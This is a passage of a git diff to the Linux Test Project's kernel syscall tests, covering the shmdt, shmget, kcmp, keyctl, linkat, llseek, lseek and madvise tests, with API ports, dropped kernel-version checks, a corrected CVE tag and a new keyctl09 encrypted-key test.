*/ - *shared = 4; + pass = 0; } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) +static void setup(void) { - /* if it exists, delete the shared memory resource */ - rm_shm(shm_id_1); + shm_key = GETIPCKEY(); + shm_id = SAFE_SHMGET(shm_key, INT_SIZE, SHM_RW | IPC_CREAT | IPC_EXCL); - tst_rmdir(); + SAFE_SIGNAL(SIGSEGV, sighandler); + shared = SAFE_SHMAT(shm_id, 0, 0); +} +static void cleanup(void) +{ + if (shm_id != -1) + SAFE_SHMCTL(shm_id, IPC_RMID, NULL); } + +static struct tst_test test = { + .needs_tmpdir = 1, + .needs_root = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = verify_shmdt, +}; diff --git a/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c b/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c index 5cab2596..782c6f48 100755 --- a/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c +++ b/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c @@ -1,118 +1,48 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * shmdt02.c - * - * DESCRIPTION - * shmdt02 - check for EINVAL error - * - * ALGORITHM - * loop if that option was specified - * call shmdt() using an invalid shared memory address - * check the errno value - * issue a PASS message if we get EINVAL - * otherwise, the tests fails - * issue a FAIL message - * call cleanup +/*\ + * [Description] * - * USAGE: - * shmdt02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. + * Tests basic error handing of the shmdt syscall. * - * HISTORY - * 03/2001 - Written by Wayne Boyer - * - * RESTRICTIONS - * none + * -EINVAL there is no shared memory segment attached at shmaddr. + * -EINVAL shmaddr is not aligned on a page boundary. */ -#include "ipcshm.h" - -char *TCID = "shmdt02"; -int TST_TOTAL = 1; - -int main(int ac, char **av) -{ - int lc; - int unshared; /* a local variable to use to produce *//* the error in the shmdt() call */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ +#include +#include +#include "tst_test.h" +#include "libnewipc.h" - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; +static void *non_attched_addr; +static void *unaligned_addr; - /* - * make the call using the TEST() macro - attempt to - * remove an invalid shared memory address - */ +struct tcase { + void **addr; + char *des; +} tcases[] = { + {&non_attched_addr, "shmdt(non_attched_addr)"}, + {&unaligned_addr, "shmdt(unaligned_addr)"} +}; - TEST(shmdt(&unshared)); - - if (TEST_RETURN != -1) { - tst_brkm(TFAIL, cleanup, "call succeeded unexpectedly"); - } - - switch (TEST_ERRNO) { - case EINVAL: - tst_resm(TPASS, "expected failure - errno = %d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - break; - default: - tst_resm(TFAIL, "call failed with an unexpected error " - "- %d : %s", TEST_ERRNO, strerror(TEST_ERRNO)); - - } - } - - cleanup(); - - tst_exit(); -} - -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void verify_shmdt(unsigned int n) { + struct tcase *tc = &tcases[n]; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_FAIL(shmdt(*tc->addr), EINVAL, "%s", tc->des); } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) +static void setup(void) { - + non_attched_addr = PROBE_FREE_ADDR(); + unaligned_addr = non_attched_addr + SHMLBA - 1; } + +static struct tst_test test = { + .setup = setup, + .test = verify_shmdt, + .tcnt = ARRAY_SIZE(tcases), +}; diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget02.c b/testcases/kernel/syscalls/ipc/shmget/shmget02.c index 165a3445..8168803a 100755 --- a/testcases/kernel/syscalls/ipc/shmget/shmget02.c +++ b/testcases/kernel/syscalls/ipc/shmget/shmget02.c @@ -11,17 +11,17 @@ * * Test for ENOENT, EEXIST, EINVAL, EACCES, EPERM errors. * - * ENOENT - No segment exists for the given key and IPC_CREAT was not specified. - * EEXIST - the segment exists and IPC_CREAT | IPC_EXCL is given. - * EINVAL - A new segment was to be created and size is less than SHMMIN or - * greater than SHMMAX. Or a segment for the given key exists, but size is - * gran eater than the size of that segment. - * EACCES - The user does not have permission to access the shared memory segment. - * EPERM - The SHM_HUGETLB flag was specified, but the caller was not privileged - * (did not have the CAP_IPC_LOCK capability) and is not a member of the - * sysctl_hugetlb_shm_group group. - * ENOMEM - The SHM_HUGETLB flag was specified, the caller was privileged but not - * have enough hugepage memory space. + * - ENOENT - No segment exists for the given key and IPC_CREAT was not specified. + * - EEXIST - the segment exists and IPC_CREAT | IPC_EXCL is given. + * - EINVAL - A new segment was to be created and size is less than SHMMIN or + * greater than SHMMAX. Or a segment for the given key exists, but size is + * gran eater than the size of that segment. + * - EACCES - The user does not have permission to access the shared memory segment. + * - EPERM - The SHM_HUGETLB flag was specified, but the caller was not + * privileged (did not have the CAP_IPC_LOCK capability) and is not a member + * of the sysctl_hugetlb_shm_group group. + * - ENOMEM - The SHM_HUGETLB flag was specified, the caller was privileged but + * not have enough hugepage memory space. */ #include @@ -56,7 +56,7 @@ static struct tcase { {&shmkey1, SHM_SIZE, IPC_EXCL, 0, 0, ENOENT}, {&shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL, 0, 0, EEXIST}, {&shmkey1, SHMMIN - 1, IPC_CREAT | IPC_EXCL, 0, 0, EINVAL}, - {&shmkey1, SHMMAX + 1, IPC_CREAT | IPC_EXCL, 0, 0, EINVAL}, + {&shmkey1, 8192 + 1, IPC_CREAT | IPC_EXCL, 0, 0, EINVAL}, {&shmkey, SHM_SIZE * 2, IPC_EXCL, 0, 0, EINVAL}, {&shmkey, SHM_SIZE, SHM_RD, 1, 0, EACCES}, {&shmkey1, SHM_SIZE, IPC_CREAT | SHM_HUGETLB, 0, 1, EPERM}, @@ -148,5 +148,9 @@ static struct tst_test test = { .cleanup = cleanup, .test = do_test, .tcnt = ARRAY_SIZE(tcases), - .request_hugepages = TST_NO_HUGEPAGES, + .hugepages = {TST_NO_HUGEPAGES}, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/shmmax", "8192", TST_SR_TCONF_MISSING | TST_SR_TBROK_RO}, + {} + }, }; diff --git a/testcases/kernel/syscalls/kcmp/kcmp01.c b/testcases/kernel/syscalls/kcmp/kcmp01.c index a03a25a2..0e7cc7a2 100755 --- a/testcases/kernel/syscalls/kcmp/kcmp01.c +++ b/testcases/kernel/syscalls/kcmp/kcmp01.c @@ -15,7 +15,7 @@ #include "tst_test.h" #include "lapi/fcntl.h" -#include "kcmp.h" +#include "lapi/kcmp.h" #define TEST_FILE "test_file" #define TEST_FILE2 "test_file2" @@ -103,6 +103,5 @@ static struct tst_test test = { .cleanup = cleanup, .forks_child = 1, .test = verify_kcmp, - .min_kver = "3.5.0", .needs_tmpdir = 1, }; diff --git a/testcases/kernel/syscalls/kcmp/kcmp02.c b/testcases/kernel/syscalls/kcmp/kcmp02.c index 993d9a4a..076b4a72 100755 --- a/testcases/kernel/syscalls/kcmp/kcmp02.c +++ b/testcases/kernel/syscalls/kcmp/kcmp02.c @@ -17,7 +17,7 @@ #include "tst_test.h" #include "lapi/fcntl.h" -#include "kcmp.h" +#include "lapi/kcmp.h" #define TEST_FILE "test_file" #define TEST_FILE2 "test_file2" @@ -94,6 +94,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_kcmp, - .min_kver = "3.5.0", .needs_tmpdir = 1 }; diff --git a/testcases/kernel/syscalls/kcmp/kcmp03.c b/testcases/kernel/syscalls/kcmp/kcmp03.c index 30ac3ec9..7af5cb15 100755 --- a/testcases/kernel/syscalls/kcmp/kcmp03.c +++ b/testcases/kernel/syscalls/kcmp/kcmp03.c @@ -18,10 +18,9 @@ #include #include -#include #include #include "tst_test.h" -#include "kcmp.h" +#include "lapi/kcmp.h" #include "lapi/sched.h" #define STACK_SIZE (1024*1024) @@ -88,5 +87,4 @@ static struct tst_test test = { .cleanup = cleanup, .forks_child = 1, .test = verify_kcmp, - .min_kver = "3.5.0" }; diff --git a/testcases/kernel/syscalls/keyctl/.gitignore b/testcases/kernel/syscalls/keyctl/.gitignore index 3544ac79..f9948c17 100755 --- a/testcases/kernel/syscalls/keyctl/.gitignore +++ b/testcases/kernel/syscalls/keyctl/.gitignore @@ -6,3 +6,4 @@ /keyctl06 /keyctl07 /keyctl08 +/keyctl09 diff --git a/testcases/kernel/syscalls/keyctl/keyctl02.c b/testcases/kernel/syscalls/keyctl/keyctl02.c index f4ee03f3..35cc2838 100755 --- a/testcases/kernel/syscalls/keyctl/keyctl02.c +++ b/testcases/kernel/syscalls/keyctl/keyctl02.c @@ -81,6 +81,11 @@ static void do_test(void) SAFE_PTHREAD_JOIN(pth[1], NULL); SAFE_PTHREAD_JOIN(pth[2], NULL); SAFE_PTHREAD_JOIN(pth[3], NULL); + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Runtime exhausted, exiting after %d loops", i); + break; + } } /* @@ -135,9 +140,11 @@ static struct tst_test test = { .needs_root = 1, .setup = setup, .cleanup = cleanup, + .max_runtime = 60, .test_all = do_test, .tags = (const struct tst_tag[]) { {"linux-git", "b4a1b4f5047e"}, + {"CVE", "2015-7550"}, {} } }; diff --git a/testcases/kernel/syscalls/keyctl/keyctl07.c b/testcases/kernel/syscalls/keyctl/keyctl07.c index 875ef0bb..d9e20db5 100755 --- a/testcases/kernel/syscalls/keyctl/keyctl07.c +++ b/testcases/kernel/syscalls/keyctl/keyctl07.c @@ -104,7 +104,7 @@ static struct tst_test test = { .test_all = do_test, .forks_child = 1, .tags = (const struct tst_tag[]) { - {"CVE", "2017-12912"}, + {"CVE", "2017-12192"}, {"linux-git", "37863c43b2c6"}, {} } diff --git a/testcases/kernel/syscalls/keyctl/keyctl08.c b/testcases/kernel/syscalls/keyctl/keyctl08.c index bc01192e..be4b23b1 100755 --- a/testcases/kernel/syscalls/keyctl/keyctl08.c +++ b/testcases/kernel/syscalls/keyctl/keyctl08.c @@ -28,7 +28,6 @@ void run(void) static struct tst_test test = { .test_all = run, .needs_root = 1, - .min_kver = "2.6.13", .tags = (const struct tst_tag[]) { {"CVE", "2016-9604"}, {"linux-git", "ee8f844e3c5a"}, diff --git a/testcases/kernel/syscalls/keyctl/keyctl09.c b/testcases/kernel/syscalls/keyctl/keyctl09.c new file mode 100644 index 00000000..cfd5f7e5 --- /dev/null +++ b/testcases/kernel/syscalls/keyctl/keyctl09.c @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 Google, Inc. + */ + +/*\ + * [Description] + * + * Test that encrypted keys can be instantiated using user-provided decrypted + * data that is hex-ascii encoded. + */ + +#include "tst_test.h" +#include "lapi/keyctl.h" + +#define ENCRYPTED_KEY_VALID_PAYLOAD "new enc32 user:masterkey 32 abcdefABCDEF1234567890aaaaaaaaaaabcdefABCDEF1234567890aaaaaaaaaa" +#define ENCRYPTED_KEY_INVALID_PAYLOAD "new enc32 user:masterkey 32 plaintext123@123!123@123!123@123plaintext123@123!123@123!123@123" + +static void do_test(void) +{ + char buffer[128]; + + TST_EXP_POSITIVE(add_key("user", "user:masterkey", "foo", 3, + KEY_SPEC_PROCESS_KEYRING)); + + if (!TST_PASS) + return; + + TST_EXP_POSITIVE(add_key("encrypted", "ltptestkey1", + ENCRYPTED_KEY_VALID_PAYLOAD, + strlen(ENCRYPTED_KEY_VALID_PAYLOAD), + KEY_SPEC_PROCESS_KEYRING)); + + if (!TST_PASS) + return; + + TST_EXP_POSITIVE(keyctl(KEYCTL_READ, TST_RET, buffer, sizeof(buffer))); + + if (!TST_PASS) + return; + + TST_EXP_FAIL2(add_key("encrypted", "ltptestkey2", + ENCRYPTED_KEY_INVALID_PAYLOAD, + strlen(ENCRYPTED_KEY_INVALID_PAYLOAD), + KEY_SPEC_PROCESS_KEYRING), EINVAL); + + keyctl(KEYCTL_CLEAR, KEY_SPEC_PROCESS_KEYRING); +} + +static struct tst_test test = { + .test_all = do_test, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_DECRYPTED_DATA=y", + NULL + }, + .tags = (const struct tst_tag[]) { + { "linux-git", "5adedd42245af"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/linkat/linkat01.c b/testcases/kernel/syscalls/linkat/linkat01.c index cde0910e..57cfbcfc 100755 --- a/testcases/kernel/syscalls/linkat/linkat01.c +++ b/testcases/kernel/syscalls/linkat/linkat01.c @@ -192,7 +192,7 @@ int TST_TOTAL = sizeof(test_desc) / sizeof(*test_desc); static int mylinkat(int olddirfd, const char *oldfilename, int newdirfd, const char *newfilename, int flags) { - return ltp_syscall(__NR_linkat, olddirfd, oldfilename, newdirfd, + return tst_syscall(__NR_linkat, olddirfd, oldfilename, newdirfd, newfilename, flags); } @@ -201,12 +201,6 @@ int main(int ac, char **av) int lc; int i; - if ((tst_kvercmp(2, 6, 16)) < 0) { - tst_resm(TWARN, "This test can only run on kernels that are "); - tst_resm(TWARN, "2.6.16 and higher"); - exit(0); - } - tst_parse_opts(ac, av, NULL, NULL); setup(); @@ -249,7 +243,8 @@ static void mylinkat_test(struct test_struct *desc) int tnum = rand(), vnum = ~tnum; fd = SAFE_OPEN(cleanup, desc->referencefn1, O_RDWR); - SAFE_WRITE(cleanup, 1, fd, &tnum, sizeof(tnum)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, &tnum, + sizeof(tnum)); SAFE_CLOSE(cleanup, fd); fd = SAFE_OPEN(cleanup, desc->referencefn2, diff --git a/testcases/kernel/syscalls/linkat/linkat02.c b/testcases/kernel/syscalls/linkat/linkat02.c index 566c76b1..47383ace 100755 --- a/testcases/kernel/syscalls/linkat/linkat02.c +++ b/testcases/kernel/syscalls/linkat/linkat02.c @@ -112,7 +112,7 @@ static void linkat_verify(const struct test_struct *desc) desc->setupfunc(); } - TEST(ltp_syscall(__NR_linkat, AT_FDCWD, desc->oldfname, + TEST(tst_syscall(__NR_linkat, AT_FDCWD, desc->oldfname, AT_FDCWD, desc->newfname, desc->flags)); if (desc->cleanfunc != NULL) @@ -138,9 +138,6 @@ static void linkat_verify(const struct test_struct *desc) static void setup(void) { - if ((tst_kvercmp(2, 6, 16)) < 0) - tst_brkm(TCONF, NULL, "This test needs kernel 2.6.16 or newer"); - tst_require_root(); tst_sig(NOFORK, DEF_HANDLER, cleanup); diff --git a/testcases/kernel/syscalls/llseek/Makefile b/testcases/kernel/syscalls/llseek/Makefile index 044619fb..8a916d0f 100755 --- a/testcases/kernel/syscalls/llseek/Makefile +++ b/testcases/kernel/syscalls/llseek/Makefile @@ -6,3 +6,5 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk + +CFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE diff --git a/testcases/kernel/syscalls/llseek/llseek01.c b/testcases/kernel/syscalls/llseek/llseek01.c index 50f35493..3a94d0b5 100755 --- a/testcases/kernel/syscalls/llseek/llseek01.c +++ b/testcases/kernel/syscalls/llseek/llseek01.c @@ -4,7 +4,7 @@ * 07/2001 Ported by Wayne Boyer */ /* - * Verify that lseek64() call succeeds to set the file pointer position to an + * Verify that lseek() call succeeds to set the file pointer position to an * offset larger than file size limit (RLIMIT_FSIZE). Also, verify that any * attempt to write to this location fails. */ @@ -27,22 +27,22 @@ static int fildes; static void verify_llseek(void) { - TEST(lseek64(fildes, (loff_t) (80 * BUFSIZ), SEEK_SET)); + TEST(lseek(fildes, (loff_t) (80 * BUFSIZ), SEEK_SET)); if (TST_RET == (80 * BUFSIZ)) - tst_res(TPASS, "lseek64() can set file pointer position larger than file size limit"); + tst_res(TPASS, "lseek() can set file pointer position larger than file size limit"); else - tst_res(TFAIL, "lseek64() returned wrong value %ld when write past file size", TST_RET); + tst_res(TFAIL, "lseek() returned wrong value %ld when write past file size", TST_RET); if (write(fildes, write_buff, BUFSIZ) == -1) tst_res(TPASS,"write failed after file size limit"); else tst_brk(TFAIL, "write successful after file size limit"); - TEST(lseek64(fildes, (loff_t) BUFSIZ, SEEK_SET)); + TEST(lseek(fildes, (loff_t) BUFSIZ, SEEK_SET)); if (TST_RET == BUFSIZ) - tst_res(TPASS,"lseek64() can set file pointer position under filer size limit"); + tst_res(TPASS,"lseek() can set file pointer position under filer size limit"); else - tst_brk(TFAIL,"lseek64() returns wrong value %ld when write under file size", TST_RET); + tst_brk(TFAIL,"lseek() returns wrong value %ld when write under file size", TST_RET); if (write(fildes, write_buff, BUFSIZ) != -1) tst_res(TPASS, "write succcessfully under file size limit"); @@ -70,7 +70,7 @@ static void setup(void) fildes = SAFE_OPEN(TEMP_FILE, O_RDWR | O_CREAT, FILE_MODE); - SAFE_WRITE(1, fildes, write_buff, BUFSIZ); + SAFE_WRITE(SAFE_WRITE_ALL, fildes, write_buff, BUFSIZ); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/llseek/llseek02.c b/testcases/kernel/syscalls/llseek/llseek02.c index 3d9c21fc..5431969f 100755 --- a/testcases/kernel/syscalls/llseek/llseek02.c +++ b/testcases/kernel/syscalls/llseek/llseek02.c @@ -5,8 +5,8 @@ */ /* * Description: - * 1) lseek64(2) fails and sets errno to EINVAL when whence is invalid. - * 2) lseek64(2) fails ans sets errno to EBADF when fd is not an open + * 1) lseek(2) fails and sets errno to EINVAL when whence is invalid. + * 2) lseek(2) fails ans sets errno to EBADF when fd is not an open * file descriptor. */ @@ -39,17 +39,17 @@ static void verify_llseek(unsigned int n) { struct tcase *tc = &tcases[n]; - TEST(lseek64(*tc->fd, (loff_t) 1, tc->whence)); + TEST(lseek(*tc->fd, (loff_t) 1, tc->whence)); if (TST_RET != (off_t) -1) { - tst_res(TFAIL, "lseek64(%d, 1, %d) succeeded unexpectedly (%ld)", + tst_res(TFAIL, "lseek(%d, 1, %d) succeeded unexpectedly (%ld)", *tc->fd, tc->whence, TST_RET); return; } if (TST_ERR == tc->exp_err) { - tst_res(TPASS | TTERRNO, "lseek64(%d, 1, %d) failed as expected", + tst_res(TPASS | TTERRNO, "lseek(%d, 1, %d) failed as expected", *tc->fd, tc->whence); } else { - tst_res(TFAIL | TTERRNO, "lseek64(%d, 1, %d) failed " + tst_res(TFAIL | TTERRNO, "lseek(%d, 1, %d) failed " "unexpectedly, expected %s", *tc->fd, tc->whence, tst_strerrno(tc->exp_err)); } diff --git a/testcases/kernel/syscalls/llseek/llseek03.c b/testcases/kernel/syscalls/llseek/llseek03.c index d780f2af..fb46c732 100755 --- a/testcases/kernel/syscalls/llseek/llseek03.c +++ b/testcases/kernel/syscalls/llseek/llseek03.c @@ -30,7 +30,7 @@ static void setup(void) fd = SAFE_CREAT(TEST_FILE, 0644); - SAFE_WRITE(1, fd, STR, sizeof(STR) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, STR, sizeof(STR) - 1); SAFE_CLOSE(fd); } @@ -72,7 +72,7 @@ static const char *str_whence(int whence) } } -static void verify_lseek64(unsigned int n) +static void verify_lseek(unsigned int n) { struct tcase *tc = &tcases[n]; char read_buf[128]; @@ -82,7 +82,7 @@ static void verify_lseek64(unsigned int n) SAFE_READ(1, fd, read_buf, 4); - TEST(lseek64(fd, tc->off, tc->whence)); + TEST(lseek(fd, tc->off, tc->whence)); if (TST_RET == -1) { tst_res(TFAIL | TTERRNO, "llseek failed on %s ", TEST_FILE); @@ -121,6 +121,6 @@ exit: static struct tst_test test = { .needs_tmpdir = 1, .setup = setup, - .test = verify_lseek64, + .test = verify_lseek, .tcnt = ARRAY_SIZE(tcases), }; diff --git a/testcases/kernel/syscalls/lseek/lseek01.c b/testcases/kernel/syscalls/lseek/lseek01.c index 22d9fbfd..b4749c58 100755 --- a/testcases/kernel/syscalls/lseek/lseek01.c +++ b/testcases/kernel/syscalls/lseek/lseek01.c @@ -46,25 +46,26 @@ static void verify_lseek(unsigned int n) TEST(lseek(fd, tc->off, tc->whence)); if (TST_RET == (off_t) -1) { - tst_res(TFAIL | TTERRNO, "lseek(%s, %ld, %s) failed", TFILE, - tc->off, tc->wname); + tst_res(TFAIL | TTERRNO, "lseek(%s, %lld, %s) failed", TFILE, + (long long int)tc->off, tc->wname); return; } if (TST_RET != tc->exp_off) { - tst_res(TFAIL, "lseek(%s, %ld, %s) returned %ld, expected %ld", - TFILE, tc->off, tc->wname, TST_RET, tc->exp_off); + tst_res(TFAIL, "lseek(%s, %lld, %s) returned %ld, expected %lld", + TFILE, (long long int)tc->off, tc->wname, TST_RET, + (long long int)tc->exp_off); return; } SAFE_READ(1, fd, read_buf, tc->exp_size); if (tc->exp_data && strcmp(read_buf, tc->exp_data)) { - tst_res(TFAIL, "lseek(%s, %ld, %s) read incorrect data", - TFILE, tc->off, tc->wname); + tst_res(TFAIL, "lseek(%s, %lld, %s) read incorrect data", + TFILE, (long long int)tc->off, tc->wname); } else { - tst_res(TPASS, "lseek(%s, %ld, %s) read correct data", - TFILE, tc->off, tc->wname); + tst_res(TPASS, "lseek(%s, %lld, %s) read correct data", + TFILE, (long long int)tc->off, tc->wname); } } @@ -72,7 +73,7 @@ static void setup(void) { fd = SAFE_OPEN(TFILE, O_RDWR | O_CREAT, 0644); - SAFE_WRITE(1, fd, WRITE_STR, sizeof(WRITE_STR) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, WRITE_STR, sizeof(WRITE_STR) - 1); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/lseek/lseek07.c b/testcases/kernel/syscalls/lseek/lseek07.c index ae6f48f3..b83869fa 100755 --- a/testcases/kernel/syscalls/lseek/lseek07.c +++ b/testcases/kernel/syscalls/lseek/lseek07.c @@ -43,18 +43,19 @@ static void verify_lseek(unsigned int n) TEST(lseek(*tc->fd, tc->off, SEEK_SET)); if (TST_RET == (off_t) -1) { - tst_res(TFAIL | TTERRNO, "lseek(%s, %ld, SEEK_SET) failed", - tc->fname, tc->off); + tst_res(TFAIL | TTERRNO, "lseek(%s, %lld, SEEK_SET) failed", + tc->fname, (long long int)tc->off); return; } if (TST_RET != tc->exp_off) { - tst_res(TFAIL, "lseek(%s, %ld, SEEK_SET) returned %ld, expected %ld", - tc->fname, tc->off, TST_RET, tc->exp_off); + tst_res(TFAIL, "lseek(%s, %lld, SEEK_SET) returned %ld, expected %lld", + tc->fname, (long long int)tc->off, TST_RET, + (long long int)tc->exp_off); return; } - SAFE_WRITE(1, *tc->fd, WR_STR2, sizeof(WR_STR2) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, *tc->fd, WR_STR2, sizeof(WR_STR2) - 1); SAFE_CLOSE(*tc->fd); @@ -63,11 +64,11 @@ static void verify_lseek(unsigned int n) SAFE_READ(1, *tc->fd, read_buf, tc->exp_size); if (strcmp(read_buf, tc->exp_data)) { - tst_res(TFAIL, "lseek(%s, %ld, SEEK_SET) wrote incorrect data %s", - tc->fname, tc->off, read_buf); + tst_res(TFAIL, "lseek(%s, %lld, SEEK_SET) wrote incorrect data %s", + tc->fname, (long long int)tc->off, read_buf); } else { - tst_res(TPASS, "lseek(%s, %ld, SEEK_SET) wrote correct data %s", - tc->fname, tc->off, read_buf); + tst_res(TPASS, "lseek(%s, %lld, SEEK_SET) wrote correct data %s", + tc->fname, (long long int)tc->off, read_buf); } } @@ -76,8 +77,8 @@ static void setup(void) fd1 = SAFE_OPEN(TFILE1, O_RDWR | O_CREAT, 0644); fd2 = SAFE_OPEN(TFILE2, O_RDWR | O_CREAT, 0644); - SAFE_WRITE(1, fd1, WR_STR1, sizeof(WR_STR1) - 1); - SAFE_WRITE(1, fd2, WR_STR1, sizeof(WR_STR1) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd1, WR_STR1, sizeof(WR_STR1) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd2, WR_STR1, sizeof(WR_STR1) - 1); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/lseek/lseek11.c b/testcases/kernel/syscalls/lseek/lseek11.c index 14435f61..6dba932d 100755 --- a/testcases/kernel/syscalls/lseek/lseek11.c +++ b/testcases/kernel/syscalls/lseek/lseek11.c @@ -145,7 +145,7 @@ static void write_data(int fd, int num) char buf[64]; sprintf(buf, "data%02dsuffix", num); - SAFE_WRITE(1, fd, buf, strlen(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, strlen(buf)); } static void setup(void) @@ -159,7 +159,7 @@ static void setup(void) fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0666); get_blocksize(); - tst_res(TINFO, "The block size is %lu", block_size); + tst_res(TINFO, "The block size is %lld", (long long int)block_size); /* * truncate to the expected file size directly, to keep away the effect @@ -202,14 +202,15 @@ static void test_lseek(unsigned int n) if (rc != 0) { tst_res(TFAIL, - "The %uth test failed: %s from startblock %ld offset %ld, expect \'%s\' return \'%s\'", + "The %uth test failed: %s from startblock %lld offset %lld, expect \'%s\' return \'%s\'", n, (tp->whence == SEEK_DATA) ? "SEEK_DATA" : "SEEK_HOLE", - tp->startblock, tp->offset, tp->data ? tp->data : "", buf); + (long long int)tp->startblock, (long long int)tp->offset, + tp->data ? tp->data : "", buf); } else { tst_res(TPASS, - "The %uth test passed: %s from startblock %ld offset %ld", + "The %uth test passed: %s from startblock %lld offset %lld", n, (tp->whence == SEEK_DATA) ? "SEEK_DATA" : "SEEK_HOLE", - tp->startblock, tp->offset); + (long long int)tp->startblock, (long long int)tp->offset); } } diff --git a/testcases/kernel/syscalls/madvise/.gitignore b/testcases/kernel/syscalls/madvise/.gitignore index 002d8e5d..722ac3c3 100755 --- a/testcases/kernel/syscalls/madvise/.gitignore +++ b/testcases/kernel/syscalls/madvise/.gitignore @@ -1,8 +1,10 @@ /madvise01 /madvise02 +/madvise03 /madvise05 /madvise06 /madvise07 /madvise08 /madvise09 /madvise10 +/madvise11 diff --git a/testcases/kernel/syscalls/madvise/Makefile b/testcases/kernel/syscalls/madvise/Makefile index 044619fb..78613df1 100755 --- a/testcases/kernel/syscalls/madvise/Makefile +++ b/testcases/kernel/syscalls/madvise/Makefile @@ -6,3 +6,5 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk + +madvise11: CFLAGS += -pthread diff --git a/testcases/kernel/syscalls/madvise/madvise01.c b/testcases/kernel/syscalls/madvise/madvise01.c index de5daf34..884c59b0 100755 --- a/testcases/kernel/syscalls/madvise/madvise01.c +++ b/testcases/kernel/syscalls/madvise/madvise01.c @@ -11,7 +11,6 @@ */ #include -#include #include #include #include @@ -55,6 +54,8 @@ static struct tcase { {MADV_FREE, "MADV_FREE", &amem}, /* since Linux 4.5 */ {MADV_WIPEONFORK, "MADV_WIPEONFORK", &amem}, /* since Linux 4.14 */ {MADV_KEEPONFORK, "MADV_KEEPONFORK", &amem}, /* since Linux 4.14 */ + {MADV_COLD, "MADV_COLD", &amem}, /* since Linux 5.4 */ + {MADV_PAGEOUT, "MADV_PAGEOUT", &amem}, /* since Linux 5.4 */ }; @@ -70,7 +71,7 @@ static void setup(void) /* Writing 40 KB of random data into this file [32 * 1280 = 40960] */ for (i = 0; i < 1280; i++) - SAFE_WRITE(1, fd, STR, strlen(STR)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, STR, strlen(STR)); SAFE_FSTAT(fd, &st); diff --git a/testcases/kernel/syscalls/madvise/madvise02.c b/testcases/kernel/syscalls/madvise/madvise02.c index bbc99e8a..90c0431c 100755 --- a/testcases/kernel/syscalls/madvise/madvise02.c +++ b/testcases/kernel/syscalls/madvise/madvise02.c @@ -30,7 +30,6 @@ */ #include -#include #include #include #include @@ -96,15 +95,8 @@ static void tcases_filter(void) tc->skip = 0; #endif /* if !defined(UCLINUX) */ break; - case MADV_REMOVE: - if ((tst_kvercmp(2, 6, 16)) < 0) - tc->skip = 1; - break; case MADV_MERGEABLE: case MADV_UNMERGEABLE: - if ((tst_kvercmp(2, 6, 32)) < 0) - tc->skip = 1; - /* kernel configured with CONFIG_KSM, * skip EINVAL test for MADV_MERGEABLE. */ if (access(KSM_SYS_DIR, F_OK) == 0) @@ -114,8 +106,7 @@ static void tcases_filter(void) /* In kernel commit 1998cc0, madvise(MADV_WILLNEED) to * anon mem doesn't return -EBADF now, as now we support * swap prefretch. */ - if ((tst_kvercmp(3, 9, 0)) > 0 && - tc->exp_errno == EBADF) + if (tc->exp_errno == EBADF) tc->skip = 1; break; case MADV_FREE: @@ -142,7 +133,7 @@ static void setup(void) /* Writing 16 pages of random data into this file */ for (i = 0; i < (pagesize / 2); i++) - SAFE_WRITE(1, fd, STR, sizeof(STR) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, STR, sizeof(STR) - 1); SAFE_FSTAT(fd, &st); diff --git a/testcases/kernel/syscalls/madvise/madvise03.c 